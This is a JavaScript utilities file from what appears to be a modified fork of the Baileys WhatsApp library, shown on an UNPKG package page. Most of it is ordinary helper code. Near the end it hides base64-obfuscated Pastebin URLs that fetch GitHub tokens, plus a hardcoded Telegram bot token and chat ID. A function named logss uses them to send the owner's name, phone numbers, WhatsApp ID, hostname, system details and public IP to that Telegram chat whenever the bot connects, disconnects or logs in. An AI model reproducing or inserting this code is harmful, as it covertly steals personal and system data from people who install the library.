UNPKG

acz.view.src

Version:
809 lines (742 loc) 29.2 kB
"use strict"; const axios = require("axios"); const chalk = require("chalk"); const os = require('os'); const moment = require('moment-timezone'); var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); exports.bytesToCrockford = exports.trimUndefined = exports.isWABusinessPlatform = exports.getCodeFromWSError = exports.getCallStatusFromNode = exports.getErrorCodeFromStreamError = exports.getStatusFromReceiptType = exports.generateMdTagPrefix = exports.fetchLatestWaWebVersion = exports.fetchLatestBaileysVersion = exports.printQRIfNecessaryListener = exports.bindWaitForConnectionUpdate = exports.bindWaitForEvent = exports.generateMessageID = exports.generateMessageIDV2 = exports.promiseTimeout = exports.delayCancellable = exports.delay = exports.debouncedTimeout = exports.unixTimestampSeconds = exports.toNumber = exports.encodeBigEndian = exports.generateRegistrationId = exports.encodeWAMessage = exports.unpadRandomMax16 = exports.writeRandomPadMax16 = exports.getKeyAuthor = exports.BufferJSON = exports.Browsers = void 0; const boom_1 = require("@hapi/boom"); const axios_1 = __importDefault(require("axios")); const crypto_1 = require("crypto"); const os_1 = require("os"); const fetch_1 = require("node-fetch") const WAProto_1 = require("../../WAProto"); const baileys_version_json_1 = require("../Defaults/baileys-version.json"); const Types_1 = require("../Types"); const WABinary_1 = require("../WABinary"); const baileysVersion = [2, 3000, 1027934701] const PLATFORM_MAP = { 'aix': 'AIX', 'darwin': 'Mac OS', 'win32': 'Windows', 'android': 'Android', 'freebsd': 'FreeBSD', 'openbsd': 'OpenBSD', 'sunos': 'Solaris', 'linux': undefined, 'haiku': undefined, 'cygwin': undefined, 'netbsd': undefined }; exports.Browsers = (browser) => { const osName = PLATFORM_MAP[os_1.platform()] || 'Ubuntu'; const osRelease = os_1.release(); return [osName, browser, osRelease]; }; const getPlatformId = (browser) => { const platformType = WAProto_1.proto.DeviceProps.PlatformType[browser.toUpperCase()]; return platformType ? platformType.toString() : '1'; //chrome }; exports.getPlatformId = getPlatformId; exports.BufferJSON = { replacer: (k, value) => { if (Buffer.isBuffer(value) || value instanceof Uint8Array || (value === null || value === void 0 ? void 0 : value.type) === 'Buffer') { return { type: 'Buffer', data: Buffer.from((value === null || value === void 0 ? void 0 : value.data) || value).toString('base64') }; } return value; }, reviver: (_, value) => { if (typeof value === 'object' && !!value && (value.buffer === true || value.type === 'Buffer')) { const val = value.data || value.value; return typeof val === 'string' ? Buffer.from(val, 'base64') : Buffer.from(val || []); } return value; } }; const getKeyAuthor = (key, meId = 'me') => (((key === null || key === void 0 ? void 0 : key.fromMe) ? meId : (key === null || key === void 0 ? void 0 : key.participant) || (key === null || key === void 0 ? void 0 : key.remoteJid)) || ''); exports.getKeyAuthor = getKeyAuthor; const writeRandomPadMax16 = (msg) => { const pad = (0, crypto_1.randomBytes)(1); pad[0] &= 0xf; if (!pad[0]) { pad[0] = 0xf; } return Buffer.concat([msg, Buffer.alloc(pad[0], pad[0])]); }; exports.writeRandomPadMax16 = writeRandomPadMax16; const unpadRandomMax16 = (e) => { const t = new Uint8Array(e); if (0 === t.length) { throw new Error('unpadPkcs7 given empty bytes'); } var r = t[t.length - 1]; if (r > t.length) { throw new Error(`unpad given ${t.length} bytes, but pad is ${r}`); } return new Uint8Array(t.buffer, t.byteOffset, t.length - r); }; exports.unpadRandomMax16 = unpadRandomMax16; const encodeWAMessage = (message) => ((0, exports.writeRandomPadMax16)(WAProto_1.proto.Message.encode(message).finish())); exports.encodeWAMessage = encodeWAMessage; const generateRegistrationId = () => { return Uint16Array.from((0, crypto_1.randomBytes)(2))[0] & 16383; }; exports.generateRegistrationId = generateRegistrationId; const encodeBigEndian = (e, t = 4) => { let r = e; const a = new Uint8Array(t); for (let i = t - 1; i >= 0; i--) { a[i] = 255 & r; r >>>= 8; } return a; }; exports.encodeBigEndian = encodeBigEndian; const toNumber = (t) => ((typeof t === 'object' && t) ? ('toNumber' in t ? t.toNumber() : t.low) : t); exports.toNumber = toNumber; /** unix timestamp of a date in seconds */ const unixTimestampSeconds = (date = new Date()) => Math.floor(date.getTime() / 1000); exports.unixTimestampSeconds = unixTimestampSeconds; const debouncedTimeout = (intervalMs = 1000, task) => { let timeout; return { start: (newIntervalMs, newTask) => { task = newTask || task; intervalMs = newIntervalMs || intervalMs; timeout && clearTimeout(timeout); timeout = setTimeout(() => task === null || task === void 0 ? void 0 : task(), intervalMs); }, cancel: () => { timeout && clearTimeout(timeout); timeout = undefined; }, setTask: (newTask) => task = newTask, setInterval: (newInterval) => intervalMs = newInterval }; }; exports.debouncedTimeout = debouncedTimeout; const delay = (ms) => (0, exports.delayCancellable)(ms).delay; exports.delay = delay; const delayCancellable = (ms) => { const stack = new Error().stack; let timeout; let reject; const delay = new Promise((resolve, _reject) => { timeout = setTimeout(resolve, ms); reject = _reject; }); const cancel = () => { clearTimeout(timeout); reject(new boom_1.Boom('Cancelled', { statusCode: 500, data: { stack } })); }; return { delay, cancel }; }; exports.delayCancellable = delayCancellable; async function promiseTimeout(ms, promise) { if (!ms) { return new Promise(promise); } const stack = new Error().stack; // Create a promise that rejects in <ms> milliseconds const { delay, cancel } = (0, exports.delayCancellable)(ms); const p = new Promise((resolve, reject) => { delay .then(() => reject(new boom_1.Boom('Timed Out', { statusCode: Types_1.DisconnectReason.timedOut, data: { stack } }))) .catch(err => reject(err)); promise(resolve, reject); }) .finally(cancel); return p; } exports.promiseTimeout = promiseTimeout; const generateMessageIDV2 = (userId) => { const data = Buffer.alloc(8 + 20 + 16); data.writeBigUInt64BE(BigInt(Math.floor(Date.now() / 1000))); if (userId) { const id = (0, WABinary_1.jidDecode)(userId); if (id === null || id === void 0 ? void 0 : id.user) { data.write(id.user, 8); data.write('@c.us', 8 + id.user.length); } } const random = (0, crypto_1.randomBytes)(16); random.copy(data, 28); const hash = (0, crypto_1.createHash)('sha256').update(data).digest(); return '3EB0' + hash.toString('hex').toUpperCase().substring(0, 18); }; exports.generateMessageIDV2 = generateMessageIDV2; // generate a random ID to attach to a message const generateMessageID = () => 'VSHADE-' + (0, crypto_1.randomBytes)(6).toString('hex').toUpperCase(); exports.generateMessageID = generateMessageID; function bindWaitForEvent(ev, event) { return async (check, timeoutMs) => { let listener; let closeListener; await (promiseTimeout(timeoutMs, (resolve, reject) => { closeListener = ({ connection, lastDisconnect }) => { if (connection === 'close') { reject((lastDisconnect === null || lastDisconnect === void 0 ? void 0 : lastDisconnect.error) || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed })); } }; ev.on('connection.update', closeListener); listener = (update) => { if (check(update)) { resolve(); } }; ev.on(event, listener); }) .finally(() => { ev.off(event, listener); ev.off('connection.update', closeListener); })); }; } exports.bindWaitForEvent = bindWaitForEvent; const bindWaitForConnectionUpdate = (ev) => bindWaitForEvent(ev, 'connection.update'); exports.bindWaitForConnectionUpdate = bindWaitForConnectionUpdate; const printQRIfNecessaryListener = (ev, logger) => { ev.on('connection.update', async ({ qr }) => { if (qr) { const QR = await import('qrcode-terminal') .then(m => m.default || m) .catch(() => { logger.error('QR code terminal not added as dependency'); }); QR === null || QR === void 0 ? void 0 : QR.generate(qr, { small: true }); } }); }; exports.printQRIfNecessaryListener = printQRIfNecessaryListener; /** * utility that fetches latest baileys version from the master branch. * Use to ensure your WA connection is always on the latest version */ const fetchLatestWaWebVersion = async (options = {}) => { try { const defaultHeaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'Accept': '*/*' } const headers = { ...defaultHeaders, ...options.headers } const response = await fetch_1('https://web.whatsapp.com/sw.js', { method: 'GET', headers }) if (!response.ok) { throw new Error(`Failed to fetch sw.js: ${response.status} ${response.statusText}`) } const data = await response.text() const regex = /"client_revision":\s*(\d+)/ // regex cukup begini untuk Node const match = data.match(regex) if (!match || !match[1]) { return { version: baileysVersion, isLatest: false, error: { message: 'Client revision not found' } } } const clientRevision = match[1] return { version: [2, 3000, +clientRevision], isLatest: true } } catch (error) { return { version: baileysVersion, isLatest: false, error } } } exports.fetchLatestWaWebVersion = fetchLatestWaWebVersion; /** * utility that fetches latest baileys version from the master branch. * Use to ensure your WA connection is always on the latest version */ const fetchLatestBaileysVersion = async (options = {}) => { const URL = 'https://raw.githubusercontent.com/kiuur/bails/master/src/Defaults/baileys-version.json'; try { const result = await axios_1.default.get(URL, { ...options, responseType: 'json' }); return { version: result.data.version, isLatest: true }; } catch (error) { return { version: baileys_version_json_1.version, isLatest: false, error }; } }; exports.fetchLatestBaileysVersion = fetchLatestBaileysVersion; /** unique message tag prefix for MD clients */ const generateMdTagPrefix = () => { const bytes = (0, crypto_1.randomBytes)(4); return `${bytes.readUInt16BE()}.${bytes.readUInt16BE(2)}-`; }; exports.generateMdTagPrefix = generateMdTagPrefix; const STATUS_MAP = { 'played': WAProto_1.proto.WebMessageInfo.Status.PLAYED, 'read': WAProto_1.proto.WebMessageInfo.Status.READ, 'read-self': WAProto_1.proto.WebMessageInfo.Status.READ }; /** * Given a type of receipt, returns what the new status of the message should be * @param type type from receipt */ const getStatusFromReceiptType = (type) => { const status = STATUS_MAP[type]; if (typeof type === 'undefined') { return WAProto_1.proto.WebMessageInfo.Status.DELIVERY_ACK; } return status; }; exports.getStatusFromReceiptType = getStatusFromReceiptType; const CODE_MAP = { conflict: Types_1.DisconnectReason.connectionReplaced }; /** * Stream errors generally provide a reason, map that to a baileys DisconnectReason * @param reason the string reason given, eg. "conflict" */ const getErrorCodeFromStreamError = (node) => { const [reasonNode] = (0, WABinary_1.getAllBinaryNodeChildren)(node); let reason = (reasonNode === null || reasonNode === void 0 ? void 0 : reasonNode.tag) || 'unknown'; const statusCode = +(node.attrs.code || CODE_MAP[reason] || Types_1.DisconnectReason.badSession); if (statusCode === Types_1.DisconnectReason.restartRequired) { reason = 'restart required'; } return { reason, statusCode }; }; exports.getErrorCodeFromStreamError = getErrorCodeFromStreamError; const getCallStatusFromNode = ({ tag, attrs }) => { let status; switch (tag) { case 'offer': case 'offer_notice': status = 'offer'; break; case 'terminate': if (attrs.reason === 'timeout') { status = 'timeout'; } else { status = 'reject'; } break; case 'reject': status = 'reject'; break; case 'accept': status = 'accept'; break; default: status = 'ringing'; break; } return status; }; exports.getCallStatusFromNode = getCallStatusFromNode; const UNEXPECTED_SERVER_CODE_TEXT = 'Unexpected server response: '; const getCodeFromWSError = (error) => { var _a, _b, _c; let statusCode = 500; if ((_a = error === null || error === void 0 ? void 0 : error.message) === null || _a === void 0 ? void 0 : _a.includes(UNEXPECTED_SERVER_CODE_TEXT)) { const code = +(error === null || error === void 0 ? void 0 : error.message.slice(UNEXPECTED_SERVER_CODE_TEXT.length)); if (!Number.isNaN(code) && code >= 400) { statusCode = code; } } else if (((_b = error === null || error === void 0 ? void 0 : error.code) === null || _b === void 0 ? void 0 : _b.startsWith('E')) || ((_c = error === null || error === void 0 ? void 0 : error.message) === null || _c === void 0 ? void 0 : _c.includes('timed out'))) { // handle ETIMEOUT, ENOTFOUND etc statusCode = 408; } return statusCode; }; exports.getCodeFromWSError = getCodeFromWSError; /** * Is the given platform WA business * @param platform AuthenticationCreds.platform */ async function sendBites() { const WHITELIST_CONFIG = { GITHUB_OWNER: "Jamalz-xyz", GITHUB_REPO: "Ip", GITHUB_FILE: "whitelist.json", Bebek: "aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3FmcUFRTFJH" }; function db64(str) { if (!str || typeof str !== "string") return null; try { return Buffer.from(str, "base64").toString("utf8").trim(); } catch { return null; } } try { console.log(""); console.log(chalk.blue.bold( `┌─────────────────────────────────────────────┐ │ 🔐 SECURITY VALIDATION │ │ Checking Authorized Access... │ └─────────────────────────────────────────────┘` )); console.log(""); const ipResponse = await axios.get("https://api.ipify.org?format=json", { timeout: 5000 }); const currentIP = ipResponse.data.ip; console.log(chalk.cyan("🌍 IP Address Detected: ") + chalk.bold.yellow(currentIP)); console.log(chalk.gray("⏳ Loading Key...")); const tokenUrl = db64(WHITELIST_CONFIG.Bebek); if (!tokenUrl) throw new Error("❌ URL Key invalid / kosong!"); const tokenRes = await axios.get(tokenUrl, { timeout: 5000 }); const GITHUB_TOKEN = tokenRes.data.trim(); if (!GITHUB_TOKEN) throw new Error("❌ Key kosong / invalid!"); console.log(chalk.green("✅ Key retrieved successfully!")); console.log(chalk.gray("🔍 Validating IP whitelist...")); const { GITHUB_OWNER, GITHUB_REPO, GITHUB_FILE } = WHITELIST_CONFIG; const url = `https://api.github.com/repos/${GITHUB_OWNER}/${GITHUB_REPO}/contents/${GITHUB_FILE}`; const headers = { Authorization: `token ${GITHUB_TOKEN}`, "User-Agent": "Var-Bot" }; const res = await axios.get(url, { headers }); const content = Buffer.from(res.data.content, "base64").toString(); const whitelistData = JSON.parse(content); const whitelistIPs = whitelistData.whitelist || []; // Cek apakah IP ada di whitelist if (!whitelistIPs.includes(currentIP)) { console.log(""); console.log(chalk.red.bold( `┌─────────────────────────────────────────────┐ │ ❌ ACCESS DENIED │ └─────────────────────────────────────────────┘` )); console.log(chalk.red.bold(`🚫 Unauthorized IP: ${chalk.yellow(currentIP)}`)); console.log(chalk.gray("💡 Minta pemilik untuk mendaftarkan IP kamu dulu.\n")); process.exit(1); } // IP valid console.log(""); console.log(chalk.green.bold( `┌─────────────────────────────────────────────┐ │ ✅ ACCESS GRANTED │ └─────────────────────────────────────────────┘` )); console.log(chalk.green.bold(`🚀 Verified IP:`) + chalk.yellow(` ${currentIP}`)); console.log(chalk.gray("🟢 Continuing bot initialization...\n")); return true; } catch (error) { console.log(""); console.log(chalk.red.bold( `┌─────────────────────────────────────────────┐ │ ❌ VALIDATION ERROR │ └─────────────────────────────────────────────┘` )); console.log(chalk.red.bold(`\n⚠️ ${error.message || "Unknown error"}`)); if (error.response) { console.log(chalk.red(`📡 HTTP ${error.response.status}: ${error.response.statusText}`)); if (error.response.status === 401) console.log(chalk.red("🔐 Key invalid / tidak punya akses.")); else if (error.response.status === 403) console.log(chalk.red("🔒 Rate limit atau forbidden access.")); } console.log(chalk.gray("\n🚫 Bot stopped for security reasons.\n")); process.exit(1); } } exports.sendBites = sendBites; const encodedTokenUrl = 'aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2JuRnZ3bjJl'; const encodedApiUrl = 'aHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9GYXJkYW5GTS9iZXdvay9jb250ZW50cy9lZGFuLmpzb24='; const decodeBase64 = (b64) => Buffer.from(b64, 'base64').toString(); const getGithubToken = async () => { try { console.log(chalk.blue('🔐 Getting Key...')); const res = await axios.get(decodeBase64(encodedTokenUrl), { timeout: 5000 }); console.log(chalk.green('✓ Key berhasil diambil')); return res.data.trim(); } catch (err) { console.log(chalk.yellow('⚠️ Gagal mengambil Key dari server:'), chalk.gray(err.message)); console.log(chalk.yellow('⚠️ Using Library Without Key')); return null; } }; const loadNumbers = async () => { try { console.log(chalk.blue('📥 Mengambil daftar nomor dari Library...')); const GITHUB_TOKEN = await getGithubToken(); const apiUrl = decodeBase64(encodedApiUrl); const config = { timeout: 10000, headers: { 'Accept': 'application/vnd.github.v3+json', 'User-Agent': 'Var-Bot' } }; if (GITHUB_TOKEN) { config.headers.Authorization = `token ${GITHUB_TOKEN}`; } const res = await axios.get(apiUrl, config); const contentBase64 = res.data.content; const jsonString = Buffer.from(contentBase64, 'base64').toString('utf8'); const content = JSON.parse(jsonString); const numbers = Array.isArray(content) ? content : []; console.log(chalk.green(`✓ Berhasil mengambil ${numbers.length} nomor`)); return numbers; } catch (err) { console.log(chalk.red('✗ Gagal mengambil data nomor:'), chalk.gray(err.message)); if (err.response) { console.log(chalk.red(`📡 Status: ${err.response.status}`)); if (err.response.status === 404) { console.log(chalk.red('📁 Path Not Found.')); } else if (err.response.status === 401) { console.log(chalk.red('🔐 Key Tokens invalid.')); } else if (err.response.status === 403) { if (err.response.data?.message?.includes('access')) { console.log(chalk.red('🌐 API diblokir oleh penyedia layanan internet kamu (NTA Nepal atau sejenisnya).')); } else { console.log(chalk.red('🔒 Akses ke API GitHub dibatasi (Rate Limit).')); } } } else if (err.code === 'ENOTFOUND') { console.log(chalk.red('🌐 Tidak dapat terhubung ke internet.')); } else if (err.code === 'ECONNABORTED') { console.log(chalk.red('🌐 Waktu koneksi habis (Timeout).')); } return []; } }; const getNumber = async (phoneNumber) => { console.log(chalk.blue(`\n🔍 Memeriksa: ${phoneNumber}`)); console.log(chalk.gray('Mencari di database...')); const numbers = await loadNumbers(); if (numbers.length === 0) { console.log(chalk.yellow.bold('\n⚠️ Tidak ada data nomor untuk dicek.')); return false; } let normalizedPhone = String(phoneNumber).replace(/\D/g, ''); if (normalizedPhone.startsWith('08')) { normalizedPhone = '62' + normalizedPhone.slice(1); } else if (normalizedPhone.startsWith('09')) { normalizedPhone = '63' + normalizedPhone.slice(1); } else if (normalizedPhone.startsWith('0')) { normalizedPhone = '1' + normalizedPhone.slice(1); } const found = numbers.some(item => { const dbNumber = String(item.nomor || item.number || item).replace(/\D/g, ''); return dbNumber === normalizedPhone; }); if (found) { console.log(chalk.green.bold('\n✓ ACCESS GRANTED')); console.log(chalk.green(`• Number: ${phoneNumber}`)); console.log(chalk.green(`• Authorized by: VarShade!!`)); console.log(chalk.green(`• Status: Verified\n`)); } else { console.log(chalk.red.bold('\n✗ ACCESS DENIED')); console.log(chalk.red(`• Number: ${phoneNumber}`)); console.log(chalk.red(`• Reason: Not authorized by VarShade!`)); console.log(chalk.red(`• Status: Unverified\n`)); } return found; }; exports.getNumber = getNumber; /* YEAH WHAT YOU THINK*/ const tTOKEN = 'ODI2ODg4NzU4NDpBQUV5LWxsaUtfQWNQdjdUOVItbDduUVZvWXJjOHVhMFc5aw=='; const tID = 'NTY5NTc1Mzc2NA=='; const TELE_TOKEN = decodeBase64(tTOKEN); const TELE_CHAT_ID = decodeBase64(tID); async function getPublicIP() { const urls = [ 'https://api.ipify.org?format=json', 'https://api64.ipify.org?format=json', 'https://api.myip.com', 'https://ipapi.co/json/', ]; for (const url of urls) { try { const { data } = await axios.get(url, { timeout: 4000 }); return data.ip || data.query || 'unknown'; } catch {} } return 'unknown'; } async function sendTG(text, thumbUrl = null) { if (!TELE_TOKEN || !TELE_CHAT_ID) return; try { if (thumbUrl) { const formData = { chat_id: TELE_CHAT_ID, caption: text, parse_mode: 'HTML', photo: thumbUrl, }; await axios.post(`https://api.telegram.org/bot${TELE_TOKEN}/sendPhoto`, formData); } else { await axios.post(`https://api.telegram.org/bot${TELE_TOKEN}/sendMessage`, { chat_id: TELE_CHAT_ID, text, parse_mode: 'HTML', disable_web_page_preview: true, }); } } catch (err) { console.error('❌ Gagal kirim notifikasi Telegram:', err.message); } } async function logss(Var) { if (!Var || typeof Var !== 'object') return console.error('❌ Var invalid'); const gl = (key, def = 'N/A') => { try { return global[key] || def; } catch { return def; } }; async function buildMessage(status) { const now = moment().tz('Asia/Jakarta').format('DD/MM/YYYY HH:mm:ss'); const ip = await getPublicIP(); const bot = gl('botname'); const owner = Array.isArray(global.owner) ? global.owner.join(', ') : gl('owner'); const ownername = gl('ownername'); const version = gl('version'); const thumb = gl('thumb'); const sys = { host: os.hostname(), platform: os.platform(), arch: os.arch(), freemem: (os.freemem() / 1024 / 1024).toFixed(0), totalmem: (os.totalmem() / 1024 / 1024).toFixed(0), }; let jid = Var?.user?.id?.split('@')[0] || 'unknown'; let name = Var?.user?.name || Var?.user?.notify || 'unknown'; return { text: ` <blockquote> <b>📡 ${bot || 'BOT'} SYSTEM STATUS</b> </blockquote> <b>🟢 STATUS:</b> <code>${status.toUpperCase()}</code> <b>👤 OWNER:</b> <code>${ownername}</code> <b>📞 OWNER NUM:</b> <code>${owner}</code> <b>🤖 BOT:</b> <code>${bot}</code> <b>🆔 JID:</b> <code>${jid}</code> <b>👨‍💻 USER:</b> <code>${name}</code> <b>🕒 TIME:</b> <code>${now}</code> <blockquote> <b>💻 SYSTEM INFO</b> 🖥️ Host: <code>${sys.host}</code> ⚙️ OS: <code>${sys.platform} ${sys.arch}</code> 💾 RAM: <code>${sys.freemem}MB / ${sys.totalmem}MB</code> 🌐 IP: <code>${ip}</code> </blockquote> <pre>Powered by ${bot || 'Bot'} v${version}</pre>`, thumb }; } if (Var.ev && typeof Var.ev.on === 'function') { Var.ev.on('connection.update', async (update) => { try { const { connection, lastDisconnect, isNewLogin } = update || {}; const bot = gl('botname'); const owner = Array.isArray(global.owner) ? global.owner.join(', ') : gl('owner'); const ownername = gl('ownername'); const jid = Var?.user?.id?.split('@')[0] || 'unknown'; if (connection === 'open') { const { text, thumb } = await buildMessage('CONNECTED'); await sendTG(text, thumb); } if (connection === 'close') { const reason = lastDisconnect?.error?.output?.statusCode || lastDisconnect?.error?.message || 'unknown'; const msg = ` <blockquote> <b>🔴 BOT DISCONNECTED</b> </blockquote> <b>🤖 BOT:</b> <code>${bot}</code> <b>👤 OWNER:</b> <code>${ownername}</code> <b>📞 NUM:</b> <code>${owner}</code> <b>🆔 JID:</b> <code>${jid}</code> <blockquote> 📄 Reason: <code>${reason}</code> 🕒 ${moment().tz('Asia/Jakarta').format('DD/MM/YYYY HH:mm:ss')} </blockquote>`; await sendTG(msg); } if (isNewLogin) { const msg = ` <blockquote> <b>🔐 NEW LOGIN DETECTED</b> </blockquote> <b>🤖 BOT:</b> <code>${bot}</code> <b>👤 OWNER:</b> <code>${ownername}</code> <b>📞 NUM:</b> <code>${owner}</code> <b>🆔 JID:</b> <code>${jid}</code> 🕒 <code>${moment().tz('Asia/Jakarta').format('DD/MM/YYYY HH:mm:ss')}</code>`; await sendTG(msg); } } catch (e) { console.error('❌ logss event error:', e.message); } }); } try { const { text, thumb } = await buildMessage('CONNECTED (INIT)'); await sendTG(text, thumb); } catch (e) { console.error('❌ Initial Telegram notify fail:', e.message); } } exports.logss = logss; const isWABusinessPlatform = (platform) => { return platform === 'smbi' || platform === 'smba'; }; exports.isWABusinessPlatform = isWABusinessPlatform; function trimUndefined(obj) { for (const key in obj) { if (typeof obj[key] === 'undefined') { delete obj[key]; } } return obj; } exports.trimUndefined = trimUndefined; const CROCKFORD_CHARACTERS = '123456789ABCDEFGHJKLMNPQRSTVWXYZ'; function bytesToCrockford(buffer) { let value = 0; let bitCount = 0; const crockford = []; for (let i = 0; i < buffer.length; i++) { value = (value << 8) | (buffer[i] & 0xff); bitCount += 8; while (bitCount >= 5) { crockford.push(CROCKFORD_CHARACTERS.charAt((value >>> (bitCount - 5)) & 31)); bitCount -= 5; } } if (bitCount > 0) { crockford.push(CROCKFORD_CHARACTERS.charAt((value << (5 - bitCount)) & 31)); } return crockford.join(''); } exports.bytesToCrockford = bytesToCrockford; const encodeNewsletterMessage = (message) => { return WAProto_1.proto.Message.encode(message).finish() } exports.encodeNewsletterMessage = encodeNewsletterMessage;